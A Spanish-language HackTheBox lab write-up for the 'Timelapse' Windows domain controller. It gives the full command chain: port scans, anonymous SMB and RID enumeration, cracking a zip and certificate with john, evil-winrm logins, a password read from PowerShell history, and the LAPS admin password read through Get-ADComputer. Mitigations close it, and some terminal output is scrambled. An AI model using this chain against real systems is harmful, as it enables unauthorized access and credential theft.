Timelapse (HackTheBox)

Máquina: Timelapse

SO: Windows IP: 10.10.11.152 Fecha: 2025-10-20

Herramientas: ping, nmap, smbclient, crackmapexec, evil-winrm, openssl, john (zip2john,

pfx2john)

Dificultad: Easy

Tipo de informe: POC + comandos utilizados + Conclusiones

Enumeración

Empezamos enumerando la máquina con al herramienta "ping". En esta podemos Identificar un TTL de 127(+1), lo que sugiere que es un Windows.

Parámetros:

-c: Cantidad de paquetes que gueremos enviar

A continuación usamos la herramienta "Nmap" para identificar puertos y sus versiones. Puertos TCP:

```
li)-[/home/kali/Desktop/Workstation]
            nmap -sS -n -Pn -p- --min-rate 5000 --disable-arp-ping --reason -oN puertos.txt 10.10.11.152
 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 09:30 EDT
 Nmap scan report for 10.10.11.152
 Host is up, received user-set (0.068s latency).
 Not shown: 65518 filtered tcp ports (no-response)
 PORT
                              STATE SERVICE
                                                                                                 REASON
 53/tcp
                              open domain
                                                                                                 syn-ack ttl 127
                             open kerberos-sec syn-ack ttl 127

        88/tcp
        open
        kerberos-sec
        syn-ack
        ttl
        127

        135/tcp
        open
        msrpc
        syn-ack
        ttl
        127

        139/tcp
        open
        netbios-ssn
        syn-ack
        ttl
        127

        389/tcp
        open
        ldap
        syn-ack
        ttl
        127

        445/tcp
        open
        microsoft-ds
        syn-ack
        ttl
        127

        593/tcp
        open
        http-rpc-epmap
        syn-ack
        ttl
        127

        636/tcp
        open
        globalcatLDAP
        syn-ack
        ttl
        127

        3268/tcp
        open
        globalcatLDAPssl
        syn-ack
        ttl
        127

        5986/tcp
        open
        wsmans
        syn-ack
        ttl
        127

        9389/tcp
        open
        adws
        syn-ack
        ttl
        127

 88/tcp
```

Parámetros:

- -sS: Syn-Scan, usa solo la primera fase del 3WayHandshake
- -n: Evitamos hacer DNS Resolution
- -Pn: Evitamos hacer Host Discovery
- --min-rate 5000: Usamos un elevado número de paquetes para ir más rápido, muy agresivo
- --disable-arp-ping: Evitamos ARP Discovery
- --reason: Estado del puerto
- -oN: Salida normal de Nmap

Puertos UDP:

```
i)-[/home/kali/Desktop/Workstation]
   nmap -sU -n -Pn -p- --min-rate 5000 --disable-arp-ping --reason -oN puertosU.txt 10.10.11.152
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 09:31 EDT
Nmap scan report for 10.10.11.152
Host is up, received user-set (0.050s latency).
Not shown: 65531 open|filtered udp ports (no-response)
PORT
       STATE SERVICE
                            REASON
53/udp open domain
                          udp-response ttl 127
88/udp open kerberos-sec udp-response ttl 127
123/udp open ntp udp-response ttl 127
389/udp open ldap udp-response ttl 127
```

Parámetros:

-sU: UDP-Scan

Versiones:

```
)-[/home/kali/Desktop/Workstation]
   nmap -scv -0 -p53,88,135,389,445,464,593,636,3268,3269,5985,9389 -oN versiones.txt 10.10.11.152
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 09:32 EDT
Nmap scan report for 10.10.11.152
Host is up (0.087s latency).
PORT
        STATE
                 SERVICE
                                    VERSION
53/tcp
        open
                  domain
                                    Simple DNS Plus
                                    Microsoft Windows Kerberos (server time: 2025-10-20 21:33:05Z)
88/tcp
                  kerberos-sec
        open
135/tcp
                                    Microsoft Windows RPC
        open
                  msrpc
                                    Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site:
389/tcp open
                  ldap
-First-Site-Name)
                 microsoft-ds?
445/tcp open
464/tcp open
                  kpasswd5?
                                    Microsoft Windows RPC over HTTP 1.0
593/tcp
                  ncacn_http
        open
636/tcp open
                  ldapssl?
3268/tcp open
                                    Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site:
                  ldap
-First-Site-Name)
                  globalcatLDAPssl?
3269/tcp open
5985/tcp filtered wsman
9389/tcp open
                 mc-nmf
                                    .NET Message Framing
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Parámetros:

- -sCV: Ejecutar Script Default e identificar versiones
- O: Aproximación de Sistema Operativo

Se identificaron varios usuarios a través de la herramienta "crackmapexec".

Estos usuarios fueron enumerados a través del usuario "guest".

```
(root@kali)-[/home/kali/Desktop/Workstation]
# crackmapexec smb 10.10.11.152 -u guest -p "" --rid-brute | grep SidTypeUser | cut -f2 -d'\' | cut -f1 -d'('
Administrator
Guest
krbtgt
DC01$
thecybergeek
paylOad
legacyy
sinfulz
babywyrm
DB01$
WEB01$
DEV01$
svc_deploy
```

RID Brute es utilizado para enumerar usuarios del sistema usando la fuerza bruta, por defecto "--rid-brute" lo hará hasta el número 4000

También se identificó que se puede enumerar y acceder a SMB de forma anónima.

```
B kali)-[/home/kali/Desktop/Workstation]
smbclient -N -L //10.10.11.152
     Sharename
                     Type
                               Comment
     ADMIN$
                     Disk
                               Remote Admin
     C$
                     Disk
                               Default share
     IPC$
                     IPC
                               Remote IPC
                               Logon server share
     NETLOGON
                     Disk
                     Disk
     Shares
                     Disk
                               Logon server share
     SYSVOL
```

En la carpeta "Shares" se identificaron varios subdirectorios con varios archivos.

```
ali)-[/home/kali/Desktop/Workstation]
   smbclient -N //10.10.11.152/shares
Try "help" to get a list of possible commands.
smb: \> dir Dev\
                                    D
                                             0 Mon Oct 25 15:40:06 2021
                                    D
                                             0 Mon Oct 25 15:40:06 2021
                                          2611 Mon Oct 25 11:46:42 2021
 winrm_backup.zip
               6367231 blocks of size 4096. 1200577 blocks available
smb: \> dir HelpDesk\
                                    D
                                             0 Mon Oct 25 11:48:42 2021
                                             0 Mon Oct 25 11:48:42 2021
                                    D
                                       1118208 Mon Oct 25 10:57:50 2021
 LAPS.x64.msi
 LAPS_Datasheet.docx
                                    A 104422 Mon Oct 25 10:57:46 2021
 LAPS_OperationsGuide.docx
                                    A 641378 Mon Oct 25 10:57:40 2021
 LAPS_TechnicalSpecification.docx
                                           72683 Mon Oct 25 10:57:44 2021
                                      Α
```

De los archivos encontrados solo "winrm_backup.zip" nos será de utilidad

Explotation

Al intentar descomprimir "winrm_backup.zip" nos pedirá una contraseña que no tenemos, por lo que usaremos "zip2john".

```
(root@ kali)-[/home/kali/Desktop/Workstation]
    zip2john winrm_backup.zip > zip.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmple=
=12EC5683 ts=72AA cs=72aa type=8

(root@ kali)-[/home/kali/Desktop/Workstation]
    algo.py puertos.txt puertosU.txt users.txt versiones.txt winrm_backup.zip zip.john

(root@ kali)-[/home/kali/Desktop/Workstation]
    john zip.john -w /usr/share/wordlists/rockyou.txt
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
```

Objetivo: Nos conectaremos mediante "evil-winrm", pero necesitaremos una "key" y un "certificate" del usuario "legacyy".

Usaremos la herramienta "openssl", pero nos pedirá una credencial que no tenemos.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password:
Mac verify error: invalid password?
```

Entonces usaremos "pfx2john" y "john" para descubrir la contraseña.

Y ahora sí, creamos la "key.pem" y "cert.pem", y nos conectarnos al usuario "legacyy" a través de evil-winrm.

```
(root@ kali)-[/home/kali/Desktop/Workstation]

# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password:
```

Parámetros:

- -in: archivo de entrada (pfx)
- -out: archivo de salida (pem)
- -nodes: contraseña sin cifrado
- -nocerts: solo extrae claves privadas

```
(root@kali)-[/home/kali/Desktop/Workstation]
# openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
Enter Import Password:
```

Parámetros:

-nokeys: solo extrae certificados

Finalmente nos podemos conectar al sistema con el usuario "legacyy".

```
(root@kali)-[/home/kali/Desktop/Workstation]
# evil-winrm -i 10.10.11.152 -c cert.pem -k key.pem -S
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby module Reline

Data: For more information, check Evil-WinRM GitHub: htt on

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami timelapse\legacyy
```

Post-Explotation

Una vez dentro del sistema como usuario "legacyy", identificamos el fichero "\$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" como un fichero con información sensible.

Pues contiene credenciales y usuario.

```
#Evil=WinRM* PS C:\Windows\System32\Wbem> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_his
tory.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
```

Fichero equivalente a .bash_history en Linux

Ahora nos conectaremos al sistema con el nuevo usuario.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplon

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
```

Escalada horizontal (pivoting entre usuarios)

En el nuevo usuario, identificamos que pertenece al grupo "LAPS_Readers". Este grupo es usado para controlar las cuentas y credenciales del Active Directory.

Para ver las credenciales del usuario administrador usaremos "Get-ADComputer". Pues el atributo "ms-mcs-admpwd" se puede usar cuando se tienen permisos LAPS.

```
*Evil-WinRM* PS C:\Users\svc_deploy\AdmPwd.PS> Get-ADComputer DC01 -property 'ms-mcs-admpwd'

DistinguishedName : CN=DC01,0U=Domain Controllers,DC=timelapse,DC=htb

DNSHostName : dc01.timelapse.htb

Enabled : True
ms-mcs-admpwd : +]tNo$SR3%/W+&,/#5]iZ$2y

Name : DC01

ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f

SamAccountName : DC01$

SID : S-1-5-21-671920749-559770252-3318990721-1000

UserPrincipalName :
```

ms-mcs-admpwd es la contraseña del administrador del sistema

Por lo tanto, accedemos por "evil-winrm".

Obteniendo control total del sistema.

Conclusiones

Esta máquina de Hack The Box (Timelapse) fue bastante dinámica.

Con la enumeración encontramos un zip, que con John obtuvimos certificados y llaves para conectar al sistema.

Luego vimos el historial de Powershell obteniendo otro usuario.

Finalmente, con el nuevo usuario y permisos de Grupo LAPS, se pudo leer fácilmente la contraseña de Administrador.

Mitigaciones

Prioridad alta

- Limitar/Eliminar acceso LAPS
- 2. Rotar credenciales expuestas
- 3. Eliminar artefactos expuestos (pfx)

Prioridad media

- 1. Políticas seguras sobre contraseñas
- 2. Restringir cuentas con acceso a recursos compartidos

Prioridad baja

- 1. Aplicar metodologías Zero-Trust y Privilegio Mínimo
- 2. Fortalecer WinRM y SMB